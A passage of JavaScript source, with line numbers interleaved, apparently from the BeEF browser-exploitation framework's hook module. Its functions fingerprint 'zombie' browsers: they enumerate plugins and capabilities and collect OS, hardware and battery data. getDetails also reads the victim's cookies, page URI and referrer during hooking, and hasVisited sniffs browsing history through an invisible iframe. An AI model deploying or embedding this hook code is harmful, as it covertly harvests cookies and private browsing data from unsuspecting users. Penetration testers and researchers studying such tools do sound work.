for (i = 0; i < navigator.plugins.length; i++) {
3843
if (navigator.plugins[i].name.indexOf("Windows Media Player") >= 0) {
3844
return true;
3845
}
3846
}
3847
}
3848
3849
// IE
3850
try {
3851
var wmp_test = new ActiveXObject('WMPlayer.OCX');
3852
if (wmp_test) {
3853
return true;
3854
}
3855
} catch (e) {
3856
beef.debug("Creating WMP ActiveX object failed: " + e.message);
3857
}
3858
3859
return false;
3860
},
3861
3862
/**
3863
* Checks if VLC is installed
3864
* @return: {Boolean} true or false
3865
**/
3866
hasVLC: function () {
3867
if (beef.browser.isIE() || beef.browser.isEdge()) {
3868
try {
3869
control = new ActiveXObject("VideoLAN.VLCPlugin.2");
3870
return true;
3871
} catch (e) {
3872
beef.debug("Creating VLC ActiveX object failed: " + e.message);
3873
}
3874
} else {
3875
for (i = 0; i < navigator.plugins.length; i++) {
3876
if (navigator.plugins[i].name.indexOf("VLC") >= 0) {
3877
return true;
3878
}
3879
}
3880
}
3881
return false;
3882
},
3883
3884
/**
3885
* Checks if the zombie has Java enabled.
3886
* @return: {Boolean} true or false.
3887
*
3888
* @example: if(beef.browser.javaEnabled()) { ... }
3889
*/
3890
javaEnabled: function () {
3891
return navigator.javaEnabled();
3892
},
3893
3894
/**
3895
* Checks if the Phonegap API is available from the hooked origin.
3896
* @return: {Boolean} true or false.
3897
*
3898
* @example: if(beef.browser.hasPhonegap()) { ... }
3899
*/
3900
hasPhonegap: function () {
3901
var result = false;
3902
3903
try {
3904
if (!!device.phonegap || !!device.cordova) result = true; else result = false;
3905
}
3906
catch (e) {
3907
result = false;
3908
}
3909
return result;
3910
},
3911
3912
/**
3913
* Checks if the browser supports CORS
3914
* @return: {Boolean} true or false.
3915
*
3916
* @example: if(beef.browser.hasCors()) { ... }
3917
*/
3918
hasCors: function () {
3919
if ('withCredentials' in new XMLHttpRequest())
3920
return true;
3921
else if (typeof XDomainRequest !== "undefined")
3922
return true;
3923
else
3924
return false;
3925
},
3926
3927
/**
3928
* Checks if the zombie has Java installed and enabled.
3929
* @return: {Boolean} true or false.
3930
*
3931
* @example: if(beef.browser.hasJava()) { ... }
3932
*/
3933
hasJava: function () {
3934
if (beef.browser.getPlugins().match(/java/i) && beef.browser.javaEnabled()) {
3935
return true;
3936
} else {
3937
return false;
3938
}
3939
},
3940
3941
/**
3942
* Checks if the zombie has VBScript enabled.
3943
* @return: {Boolean} true or false.
3944
*
3945
* @example: if(beef.browser.hasVBScript()) { ... }
3946
*/
3947
hasVBScript: function () {
3948
if ((navigator.userAgent.indexOf('MSIE') != -1) && (navigator.userAgent.indexOf('Win') != -1)) {
3949
return true;
3950
} else {
3951
return false;
3952
}
3953
},
3954
3955
/**
3956
* Returns the list of plugins installed in the browser.
3957
*/
3958
getPlugins: function () {
3959
3960
var results;
3961
3962
function unique(array) {
3963
return $j.grep(array, function(el, index) {
3964
return index === $j.inArray(el, array);
3965
});
3966
}
3967
3968
// Things lacking navigator.plugins
3969
if (!navigator.plugins)
3970
return this.getPluginsIE();
3971
3972
// All other browsers that support navigator.plugins
3973
if (navigator.plugins && navigator.plugins.length > 0) {
3974
results = new Array();
3975
for (var i = 0; i < navigator.plugins.length; i++) {
3976
3977
// Firefox returns exact plugin versions
3978
if (beef.browser.isFF()) results[i] = navigator.plugins[i].name + '-v.' + navigator.plugins[i].version;
3979
3980
// Webkit and Presto (Opera)
3981
// Don't support the version attribute
3982
// Sometimes store the version in description (Real, Adobe)
3983
else results[i] = navigator.plugins[i].name;// + '-desc.' + navigator.plugins[i].description;
3984
}
3985
results = unique(results).toString();
3986
3987
// All browsers that don't support navigator.plugins
3988
} else {
3989
results = new Array();
3990
//firefox https://bugzilla.mozilla.org/show_bug.cgi?id=757726
3991
// On linux sistem the "version" slot is empty so I'll attach "description" after version
3992
var plugins = {
3993
3994
'AdobeAcrobat': {
3995
'control': 'Adobe Acrobat',
3996
'return': function (control) {
3997
try {
3998
version = navigator.plugins["Adobe Acrobat"]["description"];
3999
return 'Adobe Acrobat Version ' + version; //+ " description "+ filename;
4000
4001
}
4002
catch (e) {
4003
}
4004
4005
4006
}},
4007
'Flash': {
4008
'control': 'Shockwave Flash',
4009
'return': function (control) {
4010
try {
4011
version = navigator.plugins["Shockwave Flash"]["description"];
4012
return 'Flash Player Version ' + version; //+ " description "+ filename;
4013
}
4014
4015
catch (e) {
4016
}
4017
}},
4018
'Google_Talk_Plugin_Accelerator': {
4019
'control': 'Google Talk Plugin Video Accelerator',
4020
'return': function (control) {
4021
4022
try {
4023
version = navigator.plugins['Google Talk Plugin Video Accelerator']["description"];
4024
return 'Google Talk Plugin Video Accelerator Version ' + version; //+ " description "+ filename;
4025
}
4026
catch (e) {
4027
}
4028
}},
4029
'Google_Talk_Plugin': {
4030
'control': 'Google Talk Plugin',
4031
'return': function (control) {
4032
try {
4033
version = navigator.plugins['Google Talk Plugin']["description"];
4034
return 'Google Talk Plugin Version ' + version;// " description "+ filename;
4035
}
4036
catch (e) {
4037
}
4038
}},
4039
'Facebook_Video_Calling_Plugin': {
4040
'control': 'Facebook Video Calling Plugin',
4041
'return': function (control) {
4042
try {
4043
version = navigator.plugins["Facebook Video Calling Plugin"]["description"];
4044
return 'Facebook Video Calling Plugin Version ' + version;//+ " description "+ filename;
4045
}
4046
catch (e) {
4047
}
4048
}},
4049
'Google_Update': {
4050
'control': 'Google Update',
4051
'return': function (control) {
4052
try {
4053
version = navigator.plugins["Google Update"]["description"];
4054
return 'Google Update Version ' + version//+ " description "+ filename;
4055
}
4056
catch (e) {
4057
}
4058
}},
4059
'Windows_Activation_Technologies': {
4060
'control': 'Windows Activation Technologies',
4061
'return': function (control) {
4062
try {
4063
version = navigator.plugins["Windows Activation Technologies"]["description"];
4064
return 'Windows Activation Technologies Version ' + version;//+ " description "+ filename;
4065
}
4066
catch (e) {
4067
}
4068
4069
}},
4070
'VLC_Web_Plugin': {
4071
'control': 'VLC Web Plugin',
4072
'return': function (control) {
4073
try {
4074
version = navigator.plugins["VLC Web Plugin"]["description"];
4075
return 'VLC Web Plugin Version ' + version;//+ " description "+ filename;
4076
}
4077
catch (e) {
4078
}
4079
}},
4080
'Google_Earth_Plugin': {
4081
'control': 'Google Earth Plugin',
4082
4083
'return': function (control) {
4084
try {
4085
version = navigator.plugins['Google Earth Plugin']["description"];
4086
return 'Google Earth Plugin Version ' + version;//+ " description "+ filename;
4087
}
4088
catch (e) {
4089
}
4090
}},
4091
'FoxitReader_Plugin': {
4092
'control': 'FoxitReader Plugin',
4093
'return': function (control) {
4094
try {
4095
version = navigator.plugins['Foxit Reader Plugin for Mozilla']['version'];
4096
return 'FoxitReader Plugin Version ' + version;
4097
} catch (e) {
4098
}
4099
}}
4100
};
4101
4102
var c = 0;
4103
for (var i in plugins) {
4104
//each element od plugins
4105
var control = plugins[i]['control'];
4106
try {
4107
var version = plugins[i]['return'](control);
4108
if (version) {
4109
results[c] = version;
4110
c = c + 1;
4111
}
4112
}
4113
catch (e) {
4114
}
4115
4116
}
4117
}
4118
// Return results
4119
return results;
4120
},
4121
4122
/**
4123
* Returns a list of plugins detected by IE. This is a hack because IE doesn't
4124
* support navigator.plugins
4125
*/
4126
getPluginsIE: function () {
4127
var results = '';
4128
var plugins = {
4129
'AdobePDF6': {
4130
'control': 'PDF.PdfCtrl',
4131
'return': function (control) {
4132
version = control.getVersions().split(',');
4133
version = version[0].split('=');
4134
return 'Acrobat Reader v' + parseFloat(version[1]);
4135
}},
4136
'AdobePDF7': {
4137
'control': 'AcroPDF.PDF',
4138
'return': function (control) {
4139
version = control.getVersions().split(',');
4140
version = version[0].split('=');
4141
return 'Acrobat Reader v' + parseFloat(version[1]);
4142
}},
4143
'Flash': {
4144
'control': 'ShockwaveFlash.ShockwaveFlash',
4145
'return': function (control) {
4146
version = control.getVariable('$version').substring(4);
4147
return 'Flash Player v' + version.replace(/,/g, ".");
4148
}},
4149
'Quicktime': {
4150
'control': 'QuickTime.QuickTime',
4151
'return': function (control) {
4152
return 'QuickTime Player';
4153
}},
4154
'RealPlayer': {
4155
'control': 'RealPlayer',
4156
'return': function (control) {
4157
version = control.getVersionInfo();
4158
return 'RealPlayer v' + parseFloat(version);
4159
}},
4160
'Shockwave': {
4161
'control': 'SWCtl.SWCtl',
4162
'return': function (control) {
4163
version = control.ShockwaveVersion('').split('r');
4164
return 'Shockwave v' + parseFloat(version[0]);
4165
}},
4166
'WindowsMediaPlayer': {
4167
'control': 'WMPlayer.OCX',
4168
'return': function (control) {
4169
return 'Windows Media Player v' + parseFloat(control.versionInfo);
4170
}},
4171
'FoxitReaderPlugin': {
4172
'control': 'FoxitReader.FoxitReaderCtl.1',
4173
'return': function (control) {
4174
return 'Foxit Reader Plugin v' + parseFloat(control.versionInfo);
4175
}}
4176
};
4177
if (window.ActiveXObject) {
4178
var j = 0;
4179
for (var i in plugins) {
4180
var control = null;
4181
var version = null;
4182
try {
4183
control = new ActiveXObject(plugins[i]['control']);
4184
} catch (e) {
4185
}
4186
if (control) {
4187
if (j != 0)
4188
results += ', ';
4189
results += plugins[i]['return'](control);
4190
j++;
4191
}
4192
}
4193
}
4194
return results;
4195
},
4196
4197
/**
4198
* Returns zombie browser window size.
4199
* @from: http://www.howtocreate.co.uk/tutorials/javascript/browserwindow
4200
*/
4201
getWindowSize: function () {
4202
var myWidth = 0, myHeight = 0;
4203
if (typeof( window.innerWidth ) == 'number') {
4204
// Non-IE
4205
myWidth = window.innerWidth;
4206
myHeight = window.innerHeight;
4207
} else if (document.documentElement && ( document.documentElement.clientWidth || document.documentElement.clientHeight )) {
4208
// IE 6+ in 'standards compliant mode'
4209
myWidth = document.documentElement.clientWidth;
4210
myHeight = document.documentElement.clientHeight;
4211
} else if (document.body && ( document.body.clientWidth || document.body.clientHeight )) {
4212
// IE 4 compatible
4213
myWidth = document.body.clientWidth;
4214
myHeight = document.body.clientHeight;
4215
}
4216
return {
4217
width: myWidth,
4218
height: myHeight
4219
}
4220
},
4221
4222
/**
4223
* Construct hash from browser details. This function is used to grab the browser details during the hooking process
4224
*/
4225
getDetails: function () {
4226
var details = new Array();
4227
4228
var browser_name = beef.browser.getBrowserName();
4229
var browser_version = beef.browser.getBrowserVersion();
4230
var browser_engine = beef.browser.getBrowserEngine();
4231
var browser_reported_name = beef.browser.getBrowserReportedName();
4232
var browser_language = beef.browser.getBrowserLanguage();
4233
var page_title = (document.title) ? document.title : "Unknown";
4234
var origin = (window.origin) ? window.origin : "Unknown";
4235
var page_uri = (document.location.href) ? document.location.href : "Unknown";
4236
var page_referrer = (document.referrer) ? document.referrer : "Unknown";
4237
var page_hostname = (document.location.hostname) ? document.location.hostname : "Unknown";
4238
var default_port = "";
4239
switch (document.location.protocol) {
4240
case "http:":
4241
var default_port = "80";
4242
break;
4243
case "https:":
4244
var default_port = "443";
4245
break;
4246
}
4247
var page_hostport = (document.location.port) ? document.location.port : default_port;
4248
var browser_plugins = beef.browser.getPlugins();
4249
var date_stamp = new Date().toString();
4250
var os_name = beef.os.getName();
4251
var os_family = beef.os.getFamily();
4252
var os_version = beef.os.getVersion();
4253
var os_arch = beef.os.getArch();
4254
var default_browser = beef.os.getDefaultBrowser();
4255
var hw_type = beef.hardware.getName();
4256
var battery_details = beef.hardware.getBatteryDetails();
4257
try {
4258
var battery_charging_status = battery_details.chargingStatus;
4259
var battery_level = battery_details.batteryLevel;
4260
var battery_charging_time = battery_details.chargingTime;
4261
var battery_discharging_time = battery_details.dischargingTime;
4262
} catch(e) {}
4263
var memory = beef.hardware.getMemory();
4264
var cpu_arch = beef.hardware.getCpuArch();
4265
var cpu_cores = beef.hardware.getCpuCores();
4266
var gpu_details = beef.hardware.getGpuDetails();
4267
try {
4268
var gpu = gpu_details.gpu;
4269
var gpu_vendor = gpu_details.vendor;
4270
} catch(e) {}
4271
var touch_enabled = (beef.hardware.isTouchEnabled()) ? "Yes" : "No";
4272
var browser_platform = (typeof(navigator.platform) != "undefined" && navigator.platform != "") ? navigator.platform : 'Unknown';
4273
var screen_size = beef.hardware.getScreenSize();
4274
try {
4275
var screen_width = screen_size.width;
4276
var screen_height = screen_size.height;
4277
var screen_colordepth = screen_size.colordepth;
4278
} catch(e) {}
4279
var window_size = beef.browser.getWindowSize();
4280
try {
4281
window_width = window_size.width;
4282
window_height = window_size.height;
4283
} catch(e) {}
4284
var vbscript_enabled = (beef.browser.hasVBScript()) ? "Yes" : "No";
4285
var has_flash = (beef.browser.hasFlash()) ? "Yes" : "No";
4286
var has_silverlight = (beef.browser.hasSilverlight()) ? "Yes" : "No";
4287
var has_phonegap = (beef.browser.hasPhonegap()) ? "Yes" : "No";
4288
var has_googlegears = (beef.browser.hasGoogleGears()) ? "Yes" : "No";
4289
var has_web_socket = (beef.browser.hasWebSocket()) ? "Yes" : "No";
4290
var has_web_worker = (beef.browser.hasWebWorker()) ? "Yes" : "No";
4291
var has_web_gl = (beef.browser.hasWebGL()) ? "Yes" : "No";
4292
var has_webrtc = (beef.browser.hasWebRTC()) ? "Yes" : "No";
4293
var has_activex = (beef.browser.hasActiveX()) ? "Yes" : "No";
4294
var has_quicktime = (beef.browser.hasQuickTime()) ? "Yes" : "No";
4295
var has_realplayer = (beef.browser.hasRealPlayer()) ? "Yes" : "No";
4296
var has_wmp = (beef.browser.hasWMP()) ? "Yes" : "No";
4297
var has_vlc = (beef.browser.hasVLC()) ? "Yes" : "No";
4298
4299
try {
4300
var cookies = document.cookie;
4301
if (cookies) details['browser.window.cookies'] = cookies;
4302
} catch (e) {
4303
beef.debug("Cookies can't be read. The hooked origin is most probably using HttpOnly.");
4304
details['browser.window.cookies'] = '';
4305
}
4306
4307
if (browser_name) details['browser.name'] = browser_name;
4308
if (browser_version) details['browser.version'] = browser_version;
4309
if (browser_engine) details['browser.engine'] = browser_engine;
4310
if (browser_reported_name) details['browser.name.reported'] = browser_reported_name;
4311
if (browser_platform) details['browser.platform'] = browser_platform;
4312
if (browser_language) details['browser.language'] = browser_language;
4313
if (browser_plugins) details['browser.plugins'] = browser_plugins;
4314
4315
if (page_title) details['browser.window.title'] = page_title;
4316
if (origin) details['browser.window.origin'] = origin;
4317
if (page_hostname) details['browser.window.hostname'] = page_hostname;
4318
if (page_hostport) details['browser.window.hostport'] = page_hostport;
4319
if (page_uri) details['browser.window.uri'] = page_uri;
4320
if (page_referrer) details['browser.window.referrer'] = page_referrer;
4321
if (window_width) details['browser.window.size.width'] = window_width;
4322
if (window_height) details['browser.window.size.height'] = window_height;
4323
if (date_stamp) details['browser.date.datestamp'] = date_stamp;
4324
4325
if (os_name) details['host.os.name'] = os_name;
4326
if (os_family) details['host.os.family'] = os_family;
4327
if (os_version) details['host.os.version'] = os_version;
4328
if (os_arch) details['host.os.arch'] = os_arch;
4329
4330
if (default_browser) details['host.software.defaultbrowser'] = default_browser;
4331
4332
if (hw_type) details['hardware.type'] = hw_type;
4333
if (memory) details['hardware.memory'] = memory;
4334
if (gpu) details['hardware.gpu'] = gpu;
4335
if (gpu_vendor) details['hardware.gpu.vendor'] = gpu_vendor;
4336
if (cpu_arch) details['hardware.cpu.arch'] = cpu_arch;
4337
if (cpu_cores) details['hardware.cpu.cores'] = cpu_cores;
4338
4339
if (battery_charging_status) details['hardware.battery.chargingstatus'] = battery_charging_status;
4340
if (battery_level) details['hardware.battery.level'] = battery_level;
4341
if (battery_charging_time) details['hardware.battery.chargingtime'] = battery_charging_time;
4342
if (battery_discharging_time) details['hardware.battery.dischargingtime'] = battery_discharging_time;
4343
4344
if (screen_width) details['hardware.screen.size.width'] = screen_width;
4345
if (screen_height) details['hardware.screen.size.height'] = screen_height;
4346
if (screen_colordepth) details['hardware.screen.colordepth'] = screen_colordepth;
4347
if (touch_enabled) details['hardware.screen.touchenabled'] = touch_enabled;
4348
4349
if (vbscript_enabled) details['browser.capabilities.vbscript'] = vbscript_enabled;
4350
if (has_flash) details['browser.capabilities.flash'] = has_flash;
4351
if (has_silverlight) details['browser.capabilities.silverlight'] = has_silverlight;
4352
if (has_phonegap) details['browser.capabilities.phonegap'] = has_phonegap;
4353
if (has_web_socket) details['browser.capabilities.websocket'] = has_web_socket;
4354
if (has_webrtc) details['browser.capabilities.webrtc'] = has_webrtc;
4355
if (has_web_worker) details['browser.capabilities.webworker'] = has_web_worker;
4356
if (has_web_gl) details['browser.capabilities.webgl'] = has_web_gl;
4357
if (has_googlegears) details['browser.capabilities.googlegears'] = has_googlegears;
4358
if (has_activex) details['browser.capabilities.activex'] = has_activex;
4359
if (has_quicktime) details['browser.capabilities.quicktime'] = has_quicktime;
4360
if (has_realplayer) details['browser.capabilities.realplayer'] = has_realplayer;
4361
if (has_wmp) details['browser.capabilities.wmp'] = has_wmp;
4362
if (has_vlc) details['browser.capabilities.vlc'] = has_vlc;
4363
4364
return details;
4365
},
4366
4367
/**
4368
* Returns boolean value depending on whether the browser supports ActiveX
4369
*/
4370
hasActiveX: function () {
4371
return !!window.ActiveXObject;
4372
},
4373
4374
/**
4375
* Returns boolean value depending on whether the browser supports WebRTC
4376
*/
4377
hasWebRTC: function () {
4378
return (!!window.mozRTCPeerConnection || !!window.webkitRTCPeerConnection);
4379
},
4380
4381
/**
4382
* Returns boolean value depending on whether the browser supports Silverlight
4383
*/
4384
hasSilverlight: function () {
4385
var result = false;
4386
4387
try {
4388
if (beef.browser.hasActiveX()) {
4389
var slControl = new ActiveXObject('AgControl.AgControl');
4390
result = true;
4391
} else if (navigator.plugins["Silverlight Plug-In"]) {
4392
result = true;
4393
}
4394
} catch (e) {
4395
result = false;
4396
}
4397
4398
return result;
4399
},
4400
4401
/**
4402
* Returns array of results, whether or not the target zombie has visited the specified URL
4403
*/
4404
hasVisited: function (urls) {
4405
var results = new Array();
4406
var iframe = beef.dom.createInvisibleIframe();
4407
var ifdoc = (iframe.contentDocument) ? iframe.contentDocument : iframe.contentWindow.document;
4408
ifdoc.open();
4409
ifdoc.write('<style>a:visited{width:0px !important;}</style>');
4410
ifdoc.close();
4411
urls = urls.split("\n");
4412
var count = 0;
4413
for (var i in urls) {
4414
var u = urls[i];
4415
if (u != "" || u != null) {
4416
var success = false;
4417
var a = ifdoc.createElement('a');
4418
a.href = u;
4419
ifdoc.body.appendChild(a);
4420
var width = null;
4421
(a.currentStyle) ? width = a.currentStyle['width'] : width = ifdoc.defaultView.getComputedStyle(a, null).getPropertyValue("width");
4422
if (width == '0px') {
4423
success = true;
4424
}
4425
results.push({'url': u, 'visited': success});
4426
count++;
4427
}
4428
}
4429
beef.dom.removeElement(iframe);
4430
if (results.length == 0) {
4431
return false;
4432
}
4433
return results;
4434
},
4435
4436
/**
4437
* Checks if the zombie has Web Sockets enabled.
4438
* @return: {Boolean} true or false.
4439
* In FF6+ the websocket object has been prefixed with Moz, so now it's called MozWebSocket
4440
* */
4441
hasWebSocket: function () {
4442
return !!window.WebSocket || !!window.MozWebSocket;
4443
},
4444
4445
/**
4446
* Checks if the zombie has Web Workers enabled.
4447
* @return: {Boolean} true or false.
4448
* */
4449
hasWebWorker: function () {
4450
return (typeof(Worker) !== "undefined");
4451
},
4452
4453
/**
4454
* Checks if the zombie has WebGL enabled.
4455
* @return: {Boolean} true or false.
4456
*
4457
* @from: https://github.com/idofilin/webgl-by-example/blob/master/detect-webgl/detect-webgl.js
4458
* */
4459
hasWebGL: function () {
4460
try {
4461
var canvas = document.createElement("canvas");
4462
var gl = canvas.getContext("webgl") || canvas.getContext("experimental-webgl");
4463
return !!(gl && gl instanceof WebGLRenderingContext);
4464
} catch(e) {
4465
return false;
4466
}
4467
},
4468
4469
/**
4470
* Checks if the zombie has Google Gears installed.
4471
* @return: {Boolean} true or false.
4472
*
4473
* @from: https://code.google.com/apis/gears/gears_init.js
4474
* */
4475
hasGoogleGears: function () {
4476
4477
var ggfactory = null;
4478
4479
// Chrome
4480
if (window.google && google.gears) return true;
4481
4482
// Firefox
4483
if (typeof GearsFactory != 'undefined') {
4484
ggfactory = new GearsFactory();
4485
} else {
4486
// IE
4487
try {
4488
ggfactory = new ActiveXObject('Gears.Factory');
4489
// IE Mobile on WinCE.
4490
if (ggfactory.getBuildInfo().indexOf('ie_mobile') != -1) {
4491
ggfactory.privateSetGlobalObject(this);
4492
}
4493
} catch (e) {
4494
// Safari
4495
if ((typeof navigator.mimeTypes != 'undefined')
4496
&& navigator.mimeTypes["application/x-googlegears"]) {
4497
ggfactory = document.createElement("object");
4498
ggfactory.style.display = "none";
4499
ggfactory.width = 0;
4500
ggfactory.height = 0;
4501
ggfactory.type = "application/x-googlegears";
4502
document.documentElement.appendChild(ggfactory);
4503
if (ggfactory && (typeof ggfactory.create == 'undefined')) ggfactory = null;
4504
}
4505
}
4506
}
4507
if (!ggfactory) return false; else return true;
4508
},
4509
4510
/**
4511
* Checks if the zombie has Foxit PDF reader plugin.
4512
* @return: {Boolean} true or false.
4513
*
4514
* @example: if(beef.browser.hasFoxit()) { ... }
4515
* */
4516
hasFoxit: function () {
4517
4518
var foxitplugin = false;
4519
4520
try {
4521
if (beef.browser.hasActiveX()) {
4522
var foxitControl = new ActiveXObject('FoxitReader.FoxitReaderCtl.1');
4523
foxitplugin = true;
4524
} else if (navigator.plugins['Foxit Reader Plugin for Mozilla']) {
4525
foxitplugin = true;
4526
}
4527
} catch (e) {
4528
foxitplugin = false;
4529
}
4530
4531
return foxitplugin;
4532
},
4533
4534
/**
4535
* Returns the page head HTML
4536
**/
4537
getPageHead: function () {
4538
var html_head;
4539
try {
4540
html_head = document.head.innerHTML.toString();
4541
} catch (e) {
4542
}
4543
return html_head;
4544
},
4545
4546
/**
4547
* Returns the page body HTML
4548
**/
4549
getPageBody: function () {
4550
var html_body;
4551
try {
4552
html_body = document.body.innerHTML.toString();
4553
} catch (e) {
4554
}
4555
return html_body;
4556
},
4557
4558
/**
4559
* Dynamically changes the favicon: works in Firefox, Chrome and Opera
4560
**/
4561
changeFavicon: function (favicon_url) {
4562
var iframe = null;
4563
if (this.isC()) {
4564
iframe = document.createElement('iframe');
4565
iframe.src = 'about:blank';
4566
iframe.style.display = 'none';
4567
document.body.appendChild(iframe);
4568
}
4569
var link = document.createElement('link'),
4570
oldLink = document.getElementById('dynamic-favicon');
4571
link.id = 'dynamic-favicon';
4572
link.rel = 'shortcut icon';
4573
link.href = favicon_url;
4574
if (oldLink) document.head.removeChild(oldLink);
4575
document.head.appendChild(link);
4576
if (this.isC()) iframe.src += '';
4577
},
4578
4579
/**
4580
* Changes page title
4581
**/
4582
changePageTitle: function (title) {
4583
document.title = title;
4584
},
4585
4586
/**
4587
* Get the browser language
4588
*/
4589
getBrowserLanguage: function () {
4590
var l = 'Unknown';
4591
try {
4592
l = window.navigator.userLanguage || window.navigator.language;
4593
} catch (e) {
4594
}
4595
return l;
4596
},
4597
4598
/**
4599
* A function that gets the max number of simultaneous connections the
4600
* browser can make per origin, or globally on all origin.
4601
*
4602
* This code is based on research from browserspy.dk
4603
*
4604
* @parameter {ENUM: 'PER_DOMAIN', 'GLOBAL'=>default}
4605
* @return {Object} A jQuery deferred object promise, which when resolved passes
4606
* the number of connections to the callback function as "this"
4607
*/
4608
4609
4610
4611
getMaxConnections: function (scope) {
4612
/*
4613
* example usage:
4614
* $j.when(getMaxConnections()).done(function(){
4615
* console.debug("Max Connections: " + this);
4616
* });
4617
*/
4618
var imagesCount = 30; // Max number of images to test
4619
var secondsTimeout = 5; // Image load timeout threashold
4620
var testUrl = ""; // The image testing service URL
4621
4622
// User broserspy.dk max connections service URL.
4623
if (scope == 'PER_DOMAIN')
4624
testUrl = "http://browserspy.dk/connections.php?img=1&amp;random=";
4625
else
4626
// The token will be replaced by a different number with each request (different origin).
4627
testUrl = "http://<token>.browserspy.dk/connections.php?img=1&amp;random=";
4628
4629
var imagesLoaded = 0; // Number of responding images before timeout.
4630
var imagesRequested = 0; // Number of requested images.
4631
var testImages = new Array(); // Array of all images.
4632
var deferredObject = $j.Deferred(); // A jquery Deferred object.
4633
4634
for (var i = 1; i <= imagesCount; i++) {
4635
// Asynchronously request image.
4636
testImages[i] =
4637
$j.ajax({
4638
type: "get",
4639
dataType: true,
4640
url: (testUrl.replace("<token>", i)) + Math.random(),
4641
data: "",
4642
timeout: (secondsTimeout * 1000),
4643
4644
// Function on completion of request.
4645
complete: function (jqXHR, textStatus) {
4646
4647
imagesRequested++;
4648
4649
// If the image returns a 200 or a 302, the text Status is "error", else null
4650
if (textStatus == "error") {
4651
imagesLoaded++;
4652
}
4653
4654
// If all images requested
4655
if (imagesRequested >= imagesCount) {
4656
// resolve the deferred object passing the number of loaded images.
4657
deferredObject.resolveWith(imagesLoaded);
4658
}
4659
}
4660
});
4661
4662
}
4663
4664
// Return a promise to resolve the deffered object when the images are loaded.
4665
return deferredObject.promise();
4666
4667
}
4668
4669
};
4670
4671
beef.regCmp('beef.browser');
4672
4673